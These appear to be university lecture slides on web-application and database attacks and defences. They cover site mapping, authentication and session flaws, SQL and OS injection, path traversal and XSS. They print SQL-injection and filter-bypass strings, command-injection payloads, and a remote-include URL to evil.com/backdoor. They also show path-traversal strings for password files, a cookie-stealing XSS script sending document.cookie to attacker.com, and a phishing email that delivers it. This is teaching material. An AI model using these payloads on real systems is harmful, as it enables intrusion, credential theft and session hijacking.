Web and Database Hacking

Core Security Problem

Core Security Problem
 Users submit input
 Users can interfere with any piece of data transmitted
between client and server
 Using
 Web-proxies
 Editing of webpages
 Tools that generate automatically requests
 Including
 Cookies
 Hidden form data
 URL
 HTTP Headers
 …
Key Problem Factors

 Immature Security Awareness

 In-House Development
 Deceptive Simplicity
 Rapidly Evolving Threat Profile
 Resource and Time Constraints
 Overextended Technologies
 E.g.: JavaScript in AJAX
Future of Web Application Security

 Old and well understood vulnerabilities like

SQL injection are gradually diminishing
 Shift to attack other users
Core Defense Mechanisms

1. Handling user access

 to the application’s data and functionality to prevent users
from gaining unauthorized access.
2. Handling user input to the application functions
3. Handling attackers
 Application behaves appropriately when directly targeted
 Taking suitable measures to frustrate the attacker
4. Managing the application itself
 Enable administrators
 to monitor its activities
 to configure its functionality
Core Mechanisms

 Handling User Access

 Authentication
 Authentication mechanisms suffer from a wide range of
defect in design and implementations
 Session Mechanism
 Virtually all applications issue a token to the user
 Majority of attacks subvert the security of the token
 Access Control
 Needs to implement fine-grained logic
Core Mechanisms
 Handling User Input
 “Reject Known Bad”
 Eternal catch-up, no false positives
 “Accept Known Good”
 Difficult to define and avoid false negatives
 E.g. Last names can contain accents and apostrophes
 Data Sanitization
 Attempts to remove malicious characters
 Safe Data Handling
 Process user supplied data only in safe form
 E.g. Avoid SQL injection attacks by using parameterized queries for
database access
 Semantic Checks
 Some data (such as an account number in a banking application)
cannot be diagnosed as malformed by itself, but only in context. The
process of validating that the account number confirms to the
authorized user is a semantic check.
Core Mechanisms
 Boundary Validation
 Establish trust boundaries and validate data as it
crosses trust boundaries.
Clean SQL
General checks

Database
Encode XML
User Metacharacters
Sanitize output
Application
server

SOAP
service
Core Mechanisms

 Multistep Validation and Canonicalization

 Difficulty arises when user input is manipulated
through several steps
 Source of many known attacks
 Possible solutions include recursive sanitization
steps
Core Defense Mechanisms
 Handling Attackers
 Handling Errors
 Graceful recovery or suitable error message
 Maintaining Audit Logs
 Minimum:
 All events relating to authentication:
 Successful and failed login
 Change of password
 Key transactions
 Blocked access attempts
 Any requests containing known attack strings
 Alerting administrators
 Usage anomalies,
 business anomalies (e.g. unusual number of funds transfers),
 requests containing known attack strings,
 requests where data hidden from ordinary users has been modified
 Reacting to attacks
 Detect probing for vulnerabilities and react to them
 E.g. slow down interactions
Core Defense Mechanisms
 Managing the Application
 Known dangerous scenario: Administrative functions are
embedded in application
 Effective access control to administrative functions:
 Otherwise attacker might find a new user account with
powerful privileges
 Administrative functions allow often displaying user data.
 Cross scripting flaws expose an administrative user session
with powerful privileges
 Administrative functionality is often less tested
Mapping the Application
 Enumerating Content and Functionality
 Web spidering: Request link, then parse it for links and follow
them
 Paros
 Burp Spider
 WebScarab
 Note: Some websites use robots.txt to limit the acquisition of pages by
search engines. This contain often pages interesting to an attacker.
 Advantages:
 Fully automatic
 Disadvantages:
 Fully automatic
 Will not find unusual navigation mechanisms
 Such as dynamically created menus
 Multistage websites use fine-grained input validation that input generated automatically will
not pass
 Zip codes, telephone numbers, …
 Automated spidering often uses URLs to identify content and avoid spidering indefinitely,
but:
 Banking applications etc. can use the same URL for the complete process
 Some applications place volatile data within URLs
 Have difficulties with authentication:
 Spiders often use authentication tokens and preset user account information, but will
often prematurely break the session by requesting the logout page
Mapping the Application

 User-Directed Spidering
 User interact with targeted website through a proxy tool
 Resulting traffic is passed through spidering tool that
monitors all requests and responses
 Done by WebScarab and Burp Suite, similar to IEWatch
 Advantages
 Unusual or complex navigation is done by user
 User controls all data submitted to an application
 User authenticates him/her-self
 Dangerous functionality (such as deleteUser.jsp) will be
enumerated, but not performed
Mapping the Application
 Discovering hidden content
 Pages that are not linked from the portal, but are functional
 Backup copies of life files such as dynamic pages
 Backup archives
 New functionality under test
 Old versions of files (more likely to contain vulnerabilities)
 Configuration and include files that could include credentials
 Source files for life application files
 Log files
 …
Mapping the Application
 Brute-Force Techniques
 Map visible site, then decide on directory structure
 Use dictionary to generate resource names
 Example: bobadilla.engr.scu.edu/php-bin
 Search for
 bobadilla.engr.scu.edu/php-bin/access.php
 bobadilla.engr.scu.edu/php-bin/account.php
 bobadilla.engr.scu.edu/php-bin/accounts.php
 bobadilla.engr.scu.edu/php-bin/accounting.php
 bobadilla.engr.scu.edu/php-bin/admin.php
 bobadilla.engr.scu.edu/php-bin/agent.php
 bobadilla.engr.scu.edu/php-bin/agents.php
 …
 bobadilla.engr.scu.edu/php-bin/home/access.php
 …
 bobadilla.engr.scu.edu/php-bin/admin/access.php
 …
 bobadilla.engr.scu.edu/php-bin/accounting/access.php
 …
Mapping the Application

 Brute Force Methods

 Interpreting error codes
 302 Found and redirect to login: Resource may be
accessible only to authorized users
 302 Found and redirect to error page: might disclose
different reasons
 400 Bad Request: word list probably contains
whitespace characters or other invalid syntax
 500 Internal Server Error: Indicates that the page
expects certain parameters to be given.
Mapping the Application
 Inference from Published Content
 Identify naming scheme
 E.g.: If there are pages called AddDocument.jsp and
ViewDocument.jsp, then there might be a page
EditDocument.jsp, …
 Identifiers such as numbers and dates make guessing
simple
 HTML and Javascript content might contain clues about
hidden server-side content.
 Try out different extensions.
 Search for temporary files created by developer tools
and file editors (e.g. file.php-1 if file.php exists)
Mapping the Application

 Use of Public Information

 Search engines such as google, msn, yahoo, …
 Google:
 use site:bobadilla.engr.scu.edu
 link:bobadilla.engr.scu.edu
 related:bobadilla.engr.scu.edu
 Use different tabs in the search such as groups and
news
 Repeat search with “omitted results included”
 Web archives such as the wayback machine
Mapping the Application
 Leveraging the Web Server
 Web servers can have bugs or ship with default contents
 Use Nikto (perl script)
 Discovering hidden parameters
 Pages behave differently with hidden parameters
 E.g. debug=true
 Use lists of common debug parameter names:
 Debug, test, hide, source, …
 Implemented in the “Cluster Bomb” attack by Burp Intruder
 Monitor responses that indicate that this makes a difference
Mapping the Application
 Analyzing the Application: Investigate
 Core functionality of application
 Peripheral behavior of application: off-site links, error
messages, administrative and logging functions, redirects,
…
 Core security mechanisms
 Different location at which user input is processed
 Technologies employed on the client sides: forms, scripts,
thick-client components (Java applets, Active X-controls,
Flash), cookies
 Technologies employed on the server side
Mapping the Application
 Identifying Entry Points for User Input
 URL strings with query string markers
 Parameters in Post requests
 Cookies
 HTTP-headers that might be processed by the application,
such as User-Agent, Referer, Accept-Language, Host
 Out of band channels
 Web mail applications which render messages sent and
received by SMTP
 Publishing applications that retrieve content via http from
another server
 Intrusion detection systems that use a web application
interface
Mapping the Application
 Identifying Server-Side Technologies
 Banner Grabbing

 HTTP Fingerprinting
 Protected by tools such as ServerMask by Port80 Software
 Performed by tools such as httPrint
 File extensions
 asp, aspx, jsp, cfm, php, d2w, pl, py, dll, nsf, ntf, …
 Directory names
 servlet – Java servlets, pls – Oracle application server pl/sql
gateway, cfdocs or cfide – cold fusion, silverstream, WebObjects or
****.woa – Apple WebObjects, rails – Ruby on rails, …
 Session Tokens
 JSESSIONID, ASPSESSIONID, ASP.NET_SessionId,
CFID/CFTOKEN, PHPSESSID
 Third party code components
Mapping the Application

 Identifying Server-Side Functionality

 Dissecting Requests
Bypassing Client-Side Control

 Hidden fields, cookies, Referer field

 Use web proxy:
 Paros
 WebScarab
 Paros
 URL parameters
 Direct editing or web proxies
Bypassing Client-Side Control
 Opaque data
 Distinguish between obfuscation and poor and good
encryption
 Even data with good encryption might be used for a replay
attack
 ASP.NET ViewState
 Allows site to store arbitrary information across successive
requests in a hidden field as a Base64 string
 ASP.NET Version 1.1: compressed form of XML
 ASP.NET Version 2: String is length prepended
 Developer can protect field by a MAC
 JavaScript Validation
 Scripts are simple to identify and change
 Web proxy can change browser data after local validation
Bypassing Client-Side Control
 Reverse engineer thick client control and change
parameters, …
 Java Applets
 Identify applet and decompile it
 E.g. with Jad
 ActiveX controls
 Written in C and C++
 Can be reverse-engineered, but with more difficulty
 Use a GUI debugger:
 OllyDebug, IDA PRO
 Flash
 Use deassemblers such as flasm
Attacking Authentication

 Authentication Technologies
 HTML-forms
 Multi-factor mechanisms (e.g. passwords and
physical tokens)
 Client SSL certificates and smartcards
 HTTP basic and digest authentication
 Windows-integrated authentication using NTLM or
Kerberos
 Authentication services
Attacking Authentication
 Design flaws:
 Poorly chosen passwords
 Attack: discover password policies by registering several accounts or change
passwords
 Brute-Forcible login
 See whether cookies capture the number of login attempts
 Poorly chosen usernames
 Email addresses, easily guessable, …
 Verbose Failure Messages
 Classic case: different messages depending on whether username or password is
invalid, but the difference might be small
 This could also be exploited if the timing is different
 Hack steps:
 Monitor your own login session with wireshark or web proxy
 If login form is loaded using http, then application is vulnerable to man in the
middle attack, even if the authentication itself is protected by HTTPS
Attacking Authentication

 Design Flaws:
 “Forgotten password” functionality
 Often not well tested
 Secondary challenges are much easier to guess
 User-set secret question
 Password hints set by user
 Authentication information sent to an email address
specified in password recovery procedure
 “Remember me” functionality
 Could use simple persistent cookie, …
Attacking Authentication
 Design flaws:
 User impersonation functionality
 Used by websites to allow administrator to impersonate
normal users
 Could be implemented as a “hidden” function such as
/admin/ImpersonateUser.php
 Could trust user controllable data such as a cookie
 Non-unique user names (rare but observed in the wild)
 Application might or might not enforce different passwords
 Hack steps: register multiple names with the same user name
with different passwords
 Monitor for behavior differences when the password is already
used
 This allows attacks on frequent usernames
Attacking Authentication
 Predictable Initial Password
 Commonly known passwords:
 SCU common practice is to use the student id number
 Hack steps: Try to obtain several passwords in quick
succession to see whether they change in a predictable
way
 Insecure Distribution of Credentials
 Typically distributed out of band such as email
 If there is no requirement to change passwords, then
capturing messages / message archives yields valid
credentials
Attacking Authentication

 Fail-Open Login Mechanism

 Instance of a logic flaw
 Contrived example where any exception leads to login
public Response checkLogin(Session session) {
try {
String uname = session.getParameter(“username”);
String passwd = session.getParameter(“password”);
User user = db.getUser(uname, passwd);
if (user == null) { //invalid credentials
session.setMessage(“Login failed”);
return doLogin(session);
}
}
catch (Exception e) {}
//valid user
session.setMessage(“Login successful”);
return doMainMenu(session);
Attacking Authentication
 Logic flaws in multistage login mechanisms
 Mechanisms provide additional security by adding
additional checks
 Logic flaws are simpler to make.
 Hacking steps:
 Monitor successful login
 Identify distinct stages and the data requested
 Repeat the login process with various malformed requests
 Check whether all demanded information is actually
processed
 Check for client-side data that might reflect successful
passing through a stage
Attacking Authentication

 Insecure Storage of Credentials

 Often stored in unsecured form in a database
 Targets of sql injection attacks or authentication
weaknesses
Protecting Authentication

 Use Strong Credentials

 Enforce and allow password quality
 Enforce uniqueness of usernames
 Be careful about system generated usernames
and passwords
Protecting Authentication
 Handle Credentials Secretively
 Protect all client-server communication with proven cryptography such as
SSL
 Switch to HTTPS already for the login form if you are considering using HTTP only
for the main interaction
 Use only POST requests to transmit credentials
 Server-side components should store credentials in a safe form.
 E.g. instead of storing the password, store a hash (SHA256) of the password
 “Remember me” functionality should only remember non-secret information
such as user-names or at least not use clear text credentials. Beware of
XSS attacks
 When credentials are distributed via email, they should be sent as securely
as possible, time-limited. Ask user to destroy message thereafter.
 Consider capturing login information in a way that does not use the key-
board (to prevent harvesting credentials through keylogging)
Protecting Authentication
 Validate credentials properly
 Validate passwords in full
 Case-sensitive, without filtering or modifying characters,
without truncating passwords
 Application needs to defend itself aggressively against
unexpected events during the login procedure
 E.g. use catch-all exceptions around all API calls.
 In the exception handling, delete all session data to invalidate the
current session
 Code review of all authentication logic and source code
 Beware of user impersonation
Protecting Authentication
 Prevent Information Leakage
 Do not disclose information about authentication parameters

 Single code component should generate all failed login

messages
 If there is self-registration, prevent a single user from creating a

large number of accounts

 E.g. by providing further information via email and by checking for
duplicate email addresses
 Prevent Brute Force Attacks
 Use unpredictable usernames

 Consider a lock-out (account suspension) procedure

 This does not prevent someone from trying out various usernames
with a single weak password
 Use CAPTCHA challenges
Protecting Authentication
 Allow users to change passwords
 Functionality only available for authenticated
sessions
 No direct or indirect facility to provide a username
 Can only change password for the user who owns this
session
 Require users to reenter their old password
 Instance of defense in depth: Attacker might have by-
passed authentication for a given user
 New password should be entered twice
 Notify users out of band of any password changes
Protecting Authentication
 Prevent misuse of the account recovery function
 Most secure application (banking,…): Out of band, such as
telephone call, …
 Prevent impersonation by other users
 Reconsider use of password hints
 Usually only useful to attackers
 Consider using a single-use, time-limited, unique recovery
URL
 Consider using secondary challenges (though design is
tricky)
Attacking Session Management
 Sessions need to store state
 Performance dictates to store state at client
 Cookies
 Hidden forms
 Asp.net view state (Not a session)
 Fat URL
 HTTP authentication (Not a session)
 All or combinations, which might vary within a different
state
 Weaknesses usually come from
 Weak generation of session tokens
 Weak handling of session tokens
Attacking Session Management

 Hacker needs to find used session token

 Find session dependent states and disfigure
token
Attacking Session Management
 Weaknesses in Session Token Generation
 Meaningful tokens
 Might be encoded in hex, base-64, …
 Might be trivially encrypted (e.g. with XOR encryption)
 Leak session data information
 If not cryptographically protected by a signature, allow simple
alteration
 Hacking Steps:
 Obtain a single token and systematically alter it, observing the effect
on the interaction with the website
 Log-in as several users, at different times, … to record and analyze
differences in tokens
 Analyze tokens for correlation related to state information such as
user names
 Test reverse engineering results by accessing site with artificially
created tokens.
Attacking Session Management

 Predictable tokens
 Most brazen weakness: sequential session ids
 Typical weaknesses:
 Concealed sequences
 Such as adding a constant to the previous value
 Time dependencies
 Such as using Unix, Windows NT time
 Weak random number generation
 E.g. Use NIST FIPS-140-2 statistical tests to discover
 Use hacker tools such as Stompy
Attacking Session Management

 Weaknesses in Session Token Handling

 Disclosure of Tokens on the Network
 Arises when not all interactions are protected by HTTPS
 Common scenario: Login, account update uses https, the
rest or part (help pages) of the site not.
 Use of http for preauthenticated areas of the site such as
front page, which might issue a token
 Cookies can be protected by the “secure” flag
Attacking Session Management

 Weaknesses in Token Handling

 Disclosure of Tokens in Logs
 User browser logs
 Web server logs
 Logs of corporate or ISP proxy servers
 Logs of reverse proxies
 Referer logs of any servers that user visit by following
off-site links
 Example: Firefox 2.? Includes referer header provided that
the off-site is also https. This exposes data in URLs
Attacking Session Management
 Weaknesses in Token Handling
 Vulnerable Mapping of Tokens to Sessions
 Multiple valid tokens concurrently assigned to the same user /
session
 Existence of multiple tokens is an indication for a security breach
 Of course, user could have abandoned and restarted a
session
 “Static Tokens”
 Same token reissued to user every time
 A poorly implemented “remember me” feature
 Other logic defects:
 A token consisting of a user name, a good randomized string that
never used / verified the random part, …
Attacking Session Management

 Weaknesses in Token Handling

 Vulnerable Session Termination
 Keeping lifespan of session short reduces the window of
opportunity
 Involves user in defining end of session
 Typical flaws:
 No logout procedure
 Logout procedure does not invalidate the session
 Attack centers on finding out whether session
termination is implemented at server side
Attacking Session Management

 Weaknesses in Token Handling

 Client exposure to Token Hijacking
 XSS attacks query routinely user’s cookies
 Session Hijacking:
 Session Fixation Vulnerability:
 Attacker feeds token to the user, waits for them to login,
then hijacks the session
 Cross-Site Request Forgeries
 Attacker crafts request to application
 Incites user to send request
 Relies on token being sent to site
Attacking Session Management
 Weaknesses in Token Handling
 Liberal cookie scope
 Domain attribute allows a site to include larger domain for
cookie
 E.g. engr.scu.edu cookie is valid for bobadilla.engr.scu.edu
 engr.scu.edu can set cookie scope to scu.edu
 Vulnerability lies in cookie handling of other applications in the
domain
 Errors in setting cookie path restriction
 Browser will not submit cookie to the parent director or any
other directory path on server, unless if the path attribute is
set
 Without a trailing backslash “/” path attribute is not interpreted
as a directory, but as a pattern match
 “/doc” matches “/php-doc”
Securing Session Management
 Generate Strong Tokens
 Uses crypto
 Uses cryptogr. strong random number generator
 Protect Tokens throughout their Lifecycle
 Transmit tokens only over https
 Do not use URL to transmit session tokens
 Implement logout functionality
 Implement session expiration
 Prevent concurrent logins
 Beware of / secure administrative functionality to view
session tokens
 Beware of errors in setting cookie domains and paths
Securing Session Management
 Prevent Cross-Site Scripting vulnerabilities
 Check tokens submitted
 If warranted, require two-step confirmation and / or
reauthentication to limit effects of cross-site request forgeries
 Consider per-page tokens

 Create a fresh session after successful authentication to limit

effects of session fixation attacks
 This is particularly difficult, if sensitive information is submitted,

but user does not authenticate

 Log, Monitor, Alert
 Implement reactive session termination
Attacking Access Controls

 Access control can be

 Vertical
 Distinction between different classes of users
 Most common and simple:
 General Users
 Administrators

 Horizontal
 Distinction between what a particular user in a class can
do
 Access to web email limited to one user
Attacking Access Controls

 Common Vulnerabilities
 Completely unprotected functionality
 Only URL is necessary to perform actions that should be
restricted
 “No lowly user will ever know this URL”
 Identifier based functions
 Access to resource is mitigated by a parameter that is
only handed out to a given user
 Happens often when the application interacts with external
systems
 Application logs will reveal this type of functionality
Attacking Access Controls

 Common Vulnerabilities
 Logic Flaws / False Assumptions
 Multistage functionality
 Example: User accesses “User Maintenance Menu” and
selects “Add User”
 Page verifies that user has privileges to add users
 Forwards user to the “Add User” page
 But this one is not protected
 Attacker needs to go directly to this page
Attacking Access Controls

 Common Vulnerabilities
 Use static files
 Example: Web publisher interacts with user to sell /
ascertain right to view a given document
 Once user has gained right to view, user is given the link
 bobadilla.engr.scu.edu/downloads/final387002918.pdf
 This is a static resource that cannot verify the rights
again
Attacking Access Controls
 Common vulnerabilities
 Insecure access control mechanisms
 Example:
https://bobadilla.engr.scu.edu/login/home.asp?admin=true
 Example: Use of the referer header
 Hacking steps:
 Use site mapping to find / guess hidden resources
 Use two different level user accounts to look for
distinguishing parameters
 Test for the use of the referer field
 Review client side scripts and hidden forms to find
reference to hidden functionality
Code Injection
 Hacking steps:
 Supply unexpected syntax to cause problems
 Identify any anomalies in the application response
 Examine any error messages
 Systematically modify input that causes
anomalous behavior to form and verify
hypotheses on the behavior of the system
 Try safe commands to prove existence of injection
flaw
 Exploit the flaw
Code Injection Into SQL
 Gain knowledge of SQL
 Install same database as used by application on local server to test SQL
commands
 Consult manuals on error messages
 Detection:
 Cause an error condition:
 String Data
 Submit a single quotation mark
 Submit two single quotation marks
 Use SQL concatenation characters
 ‘ | | ‘ FOO (oracle)
 ‘ + ‘ FOO (MS-SQL)
 ‘ ‘ FOO (No space between quotation marks) (MySQL)
 Numeric Data
 Replace numeric value with arithmetic (Instead of 5, submit 2+3)
 Use sql-specific keywords
 67-ASCII(‘A’) is equivalent to 2 in SQL
 Beware of special meaning of characters in http such as ‘&’, ‘=‘, …
Code Injection Into SQL
 Detection:
 Cause an error condition:
 Select / Insert Statements
 Entry point is usually ‘where’ clause, but ‘order by’ etc. might also
be injected
 Example: admin’ or 1==1
 Example injections into user name field for injection into
insert, where we do not know the number of parameters:
 foo ’ ) - -
 foo ‘ , 1) –
 foo ‘ , 1 , 1) –
 foo ‘ , 1 , 1 , 1) –
 Here we rely on 1 being cast into a string.
Code Injection Into SQL
 Union operator
 SELECT author, title, year FROM books WHERE publisher = ‘Wiley’
 Insert
 Wiley’ UNION SELECT username, password, uid FROM users--
 to obtain
 SELECT author, title, year FROM books WHERE publisher = ‘Wiley’
Union SELECT username, password, uid FROM users--’
 Pay attention to error messages in order to reformulate the
string more successfully
 Try
 ‘ UNION SELECT NULL- -’
 ‘ UNION SELECT NULL, NULL--
 ‘UNION SELECT NULL, NULL, NULL --
Code Injection Into SQL
 You can try ‘order by’ in order to find out how
many rows are in the table:
 ORDER BY 1 --
 ORDER BY 2 --
 ORDER BY 3 --
 Next, find out which columns have the string
data type by injection
 UNION SELECT ‘a’, NULL, NULL--
 UNION SELECT NULL, ‘a’, NULL--
 UNION SELECT NULL, NULL, ‘a’--
Code Injection Into SQL
 Fingerprinting the database
 Important because of differences in SQL supported
 E.g.: Oracle SQL requires a from clause in all selects
 Obtain version string of database from
 UNION SELECT banner,NULL,NULL from v$version
 Use different ways in which databases concatenate strings:
 Oracle: ‘Tho’||’mas’
 MS-SQL: ‘Tho’+’mas’
 MySQL: ‘Tho’ ‘mas’ (with space between quotes)
 Use different numbering formats
 Oracle: BITAND(1,1)-BITAND(1,1)
 MS-SQL: @@PACK-RECEIVED-@@PACK_RECEIVED
 MySQL: CONNECTION_ID() - CONNECTION_ID()
Code Injection Into SQL

 MS-SQL: Exploiting ODBC Error Messages

 Inject ‘ having 1=1 --
 Generates error message
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e14’ (Microsoft) [ODBC SQL Server Driver] [SQL
Server] Column ‘users.ID’ is invalid in the select list
because it is not contained in an aggregate function and
there is no GROUP BY clause
Code Injection Into SQL

 MS-SQL: Exploiting ODBC Error Messages

 Inject
 ‘ group by users.ID having 1=1 --
 Generates error message

Microsoft OLE DB Provider for ODBC Drivers error

‘80040e14’ (Microsoft) [ODBC SQL Server Driver] [SQL
Server] Column ‘users.username’ is invalid in the select list
because it is not contained in an aggregate function and
there is no GROUP BY clause
Code Injection Into SQL

 MS-SQL: Exploiting ODBC Error Messages

 …
 Inject
 ‘ group by users.ID, users.username, users.password,
users.privs having 1=1 --
 Generates no error message
 No proceed injecting union statements to find data
types for each column
 Inject
 ‘ union select sum(username) from users--’
Code Injection Into SQL
 By-passing filters:
 Avoiding blocked characters
 The single quotation mark is not required for injection
into a numeric data field
 If the comment character is blocked, craft injection so
that it does not break the surrounding query
 Instead of
 ‘ or 1 = 1 --
 use
 ‘ or ‘a’ = ‘ a
 MS-SQL does not need semicolons to separate several
commands in a batch
Code Injection Into SQL
 By-passing filters:
 Circumventing simple validation

 If a simple blacklist is used, attack canonicalization and validation.

 E.g. instead of select, try
 SeLeCt
 SELSELECTECT
 %53%45%4c%45%43%54
 %2553%2545%254c%2545%2543%2554
 Use inline comments
 SEL/*foo*/ECT (valid in MySQL)
 Manipulate blocked strings
 ‘adm’| |’in’ (valid in Oracle)
 Use dynamic execution
 exec(‘select * from users’) works in MS-SQL
Code Injection Into SQL
 By-passing filters
 Exploit defective filters
 Example: Site defends by escaping any single quotation mark
 I.e.: Replace ‘ with ‘’
 Assume that user field is limited to 20 characters
 Inject
 aaaaaaaaaaaaaaaaaaa’
 Application replaces this with
 aaaaaaaaaaaaaaaaaaa’’
 Passes it on to database, which shortens it to 20 characters,
removing the final single quotation mark
 Therefore, inject
 aaaaaaaaaaaaaaaaaaa’ or 1=1 --
Code Injection Into SQL

 Second Order SQL Injection

 The result of an sql statement is posted in another
sql statement
 Canonicalization is now much more difficult
Code Injection: OS Injection
 Two types:
 Characters ; | & newline are used to batch
multiple commands
 Backtick character ` used to encapsulate
speparate commands within a data item
 Use time delay errors
 Use ‘ping’ to the loop-back device
 | | ping -I 30 127.0.0.1 ; x | | ping -n 30 127.0.0.1 &
 works for both windows and linux in the absence
of filtering
Code Injection: OS Injection

 Dynamic execution in php uses eval

 Dynamic execution in asp uses evaluate
 Hacking steps to find injection attack:
 Try
 ;echo%2011111111
 echo%201111111
 response.write%201111111
 :response.write%201111111
 Look for a return of 1111111 or an error message
Code Injection: OS Injection
 Remote file injection
 PHP include accepts a remote file path
 Example Fault:
 https://bobadilla.engr.scu.edu/main.php?Country=FRG
 is processed as
 $country = $_GET[‘Country’];
 include( $country. ‘.php’ );
 which loads file
 FRG.php
 Attacker injects
 https://bobadilla.engr.scu.edu/main.php?Country=http://evil.com/b
ackdoor
 Found by putting attacker’s resources, or non-
existing IP, or static resource on victim’s site, …
Code Injection: OS Injection

 Soap Injection
 XPath injection
 SMTP injection
 LDAP injection
Exploiting Path Traversal
 Simplistic Scenario
 Webserver displays file based on user input:
1. Extracts the value of the “file” parameter from user input
2. Appends this value to a prefix: “C:\web\publicdocs\”
3. Opens file with this name
4. Reads file and returns contents to the reader
 Simple Attack
 Place “..\..\winnt\repair\sam” into input field
 Webserver now opens file
 C:\web\publicdocs\..\..\winnt\repair\sam
 = C:\winnt\repair\sam
 And disploys the Windows SAM backup file with might be
searched for passwords
Exploiting Path Traversal
 Location of Targets
 Review any instances where files are accessed based on
user input
 Look for request parameters that appear to contain the
name of a file
 If you have local access to the web application:
 Monitor file system activity
 Windows: filemon / ProcessMon from MS-Sysinternals
 Consider using a specific name in all requests and then look
for this parameter in the file system logs
 If you have found such an input, see what happens by
including the dot dot slash sequence
Exploiting Path Traversal
 Most webservers try to prevent path traversal by disallowing dangerous
characters
 Attacker can try
 forward and backward slashes
 simple URL encoding
 dot %2e
 forward slash %2f
 backward slash %5c
 16-bit unicode encoding
 dot %u002e
 forward slash %u002f
 backward slash %u005c
 double URL encoding (encode %)
 dot %252e
 forward slash %252f
 backward slash %255c
 try overlong UTF-8 Unicode encoding
 dot %c0%2e %e0%40%ae
…
 forward slash %c0%2f %e0%80%af …
 backward slash %c0%5c %c0%80%5c …
Exploiting Path Traversal

 Some websites test whether the file has the

correct extension or append one themselves
 Can sometimes be subverted by introducing a
URL-encoded NULL byte
 Example: ../../../../etc/password%00.jpg
 Because check is implemented by an API call that does
not resolve URL encoding
 Or a URL-encoded newline character
 Example: ../../../../etc/password%0a.jpg
Exploiting Path Traversal

 Some websites check whether the user-

supplied filename starts with the right
extension
 Easy to defeat with the ../ constructs
 Some websites use a combination of these
too simplistic protections
 Can be defeated with a combination of the attacks
Exploiting Path Traversal
 Typical targets
 Password files for a brute force cracking attack

 Server and application configuration files to find other

vulnerabilities
 Include files that might contain database credentials

 Data sources used by the application such as MySQL database

and XML files
 Source code for the web application

 Application log files that might contain user tokens, …

 Typical target if file can be written

 Creating scripts in user startup folders

 Modifying files such as in.ftpd that are executed when users

connect to the internet
 Writing scripts to web directories and call them from the browser
Preventing Path Traversal
 Protect against naming attacks by:
1. Full decoding and canonicalization
 Probably not be possible in a single pass
 Resulting string should be alphanumeric + / \
2. Use hard coded list of permissible file extensions
3. Use file system API to verify that the file exists and that
the file is in the allowed directory
 Java: Use java.io.File object and call getCanonicalPath
 ASP.NET: Pass filename to System.IO.Path.GetFullPath
 Mitigate path vulnerabilities by using a chrooted
environment (chroot jail)
 On Windows systems, place files in their own partition
Attacking Application Logic

 Logic flaws are extremely varied.

Attacking other users: XSS

 XSS attacks
 Vulnerability has wide range of consequences,
from pretty harmless to complete loss of
ownership of a website
Attacking other users: XSS
 Reflected XSS
 User-input is reflected to web page
 Common vulnerability is reflection of input for an error message
 Exploitation:

User requests attacker’s Attacker hijacks user’s session

URL

Server responds with User logs in

attacker’s Javascript

Attacker feeds crafted URL

User’s browser sends session

token to attacker
Attacking other users: XSS
 Reflected XSS
 Exploit:
1. User logs on as normal and obtains a session cookie
2. Attacker feeds a URL to the user
 https://bobadilla.engr.scu.edu/error.php?
message=<script>var+i=new+Image;+i.src=“http://
attacker.com/”%2bddocument.cookie;</script>
3. The user requests from the application the URL fed to them by the
attacker
4. The server responds to the user’s request; the answer contains the
javascript
5. User browser receives and executes the javascript
 var I = new Image; i.src=http://attacker.com/+document.cookie
6. Code causes the user’s browser to make a request to attacker.com
which contains the current session token
7. Attacker monitors requests to attacker.com and captures the token
in order to be able to perform arbitrary actions as the user
Attacking other users: XSS
 Same Origin Policy: Cookies are only returned to
the site that set them.
 Same Origin Policy:
 Page residing in one domain can cause an arbitrary request to
be made to another domain.
 Page residing in one domain can load a script from another
domain and execute it in its own context
 A page residing in one domain cannot read or modify cookies
(or other DOM data) belonging to another domain
 For browser, the attacker’s javascript came from the
site
 It is executed within the context of the site
Attacking other users: XSS

From: Thomas Schwarz <tschwarz@bobadilla.engr.scu.edu>

To: John Doe
Subject: Complete online course feed-back form
Dear Valued Student
Please fill out the following online course feed-back form. Your grades
will not be released to the registrar without having completed this form.
Please go to my course website using your usual bookmark and then
click on the following link:
https://bobadilla.engr.scu.edu/%65%72%72%6f%72?message%3d%3c
%73%63%72ipt>var+i=ne%77+Im%61ge%3b+i.s%72c=“ht%74%70%3a
%2f
Attacking other users: XSS
 Stored XSS Vulnerability

User logs in and views

attackers question Attacker hijacks user’s session

Attacker’s Javascript
Server responds with executes in user’s Attacker submits question
attacker’s Javascript browser containing malicious
Javascript

User’s browser sends session

token to attacker
Attacking other users: XSS

 DOM-based XSS
 A user requests a crafter URL supplied by the
attacker and containing embedded Javascript
 The server’s response does not contain the
attacker’s script in any form
 When the user’s browser processes this
response, the script is nevertheless executed.
Attacking other users: XSS
 MySpace 2005
 User Samy circumvented anti-XSS filters installed to prevent

users from placing JavaScript in their user profile pages

 Script executed whenever user saw Samy’s page

 Added Samy into “friends” list

 Copied itself into the victim’s page
 MySpace had to take the application offline, remove malicious
script from the profiles of their users, and fix the defect
 Samy was forced to pay restitution and carry out three months of

community service
 “The wonders” of AJAX: Asynchronous JavaScript and XML:
 Only part of the user page is recreated upon user action
Attacking other users: XSS

 XSS Payloads:
 Virtual Defacement
 Content of host is not affected, but loaded from other
sites
 Injecting Trojan Functionality
 “Google is moving to a pay to play model” proof of
concept created by Jim Ley, 2004
 Inducing User Actions
 Use payload script to perform actions
 Exploit Any Trust Relationships
Attacking other users: XSS
Attacking other users: XSS
 Other payloads for XSS
 Malicious web site succeeded in the past to:
 Log Keystrokes
 Capture Clipboard Contents
 Steal History and Search Queries
 Enumerate Currently Used Applications
 Port Scan the Local Network
 Attack Other Network Hosts
 <img src=http://192.168.1.1/hm_icon.gif”
onerror=“notNetgear()”
 This checks for the existence of a unique image that is
present if a Netgear DSL router is present
 And XSS can deliver those things, too
Attacking other users: XSS
 Delivery Modes
 Reflected and DOM-based XSS attacks
 Use forged email to target users
 Use text messages
 Use a “third party” web site to generate requests that trigger
XSS flaws.
 This is successful if the user is logged into the vulnerable site and
visits the “third party” web site at the same time.
 Attackers can pay for banner ads that link to a URL containing an
XSS payload for a vulnerable application
 Use the “tell a friend” or “tell administrator” functionality in
order to generate emails with arbitrary contents and recipients
Attacking other users: XSS

 Delivery Modes
 Stored XSS attacks
 Look for user controllable data that is displayed:
 Personal information fields
 Names of documents, uploaded files, …
 Feedback or questions for admins
 Messages, comments, questions, …
 Anything that is recorded in application logs and displayed
in a browser to administrators:
 URLs, usernames, referer fields, user-agent field
contents, …
Attacking other users: XSS
 Finding Vulnerabilities
 Standard proof-of-concept attack strings such as
 “><script>alert(document.cookie)</script>
